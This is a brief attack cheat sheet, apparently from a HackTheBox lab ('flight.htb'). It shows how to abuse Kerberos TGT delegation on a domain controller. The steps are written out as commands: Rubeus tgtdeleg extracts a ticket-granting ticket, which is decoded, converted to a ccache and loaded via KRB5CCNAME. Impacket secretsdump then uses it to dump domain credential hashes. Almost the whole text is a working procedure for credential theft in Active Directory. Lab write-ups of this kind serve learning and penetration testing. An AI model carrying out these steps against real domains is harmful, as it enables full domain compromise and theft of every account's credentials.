System on DC TGT Delegation
You can use Rubeus to get a kirbi ticket for the running principal. In this scenario you are the defaultapppool on a dc but this can be applied to any principal. We are just getting a ticket granting ticket to use later to request a service ticket. Rubeus.exe tgtdeleg /nowrap
Copy the base64 kirbi ticket and decode it into a file echo 'data'| base64 -d > ticket.kirbi
Convert to a ccache kirbi2ccache ticket.kirbi ticket.ccache
Set KRB5CCNAME variable export KRB5CCNAME=ticket.ccache
Use the kerberos ticket how you like If this doesnt work be sure to sync your time to the victim. You may also need to setup the /etc/krb5.conf Impacket-secretsdump -k --no-pass g0.flight.htb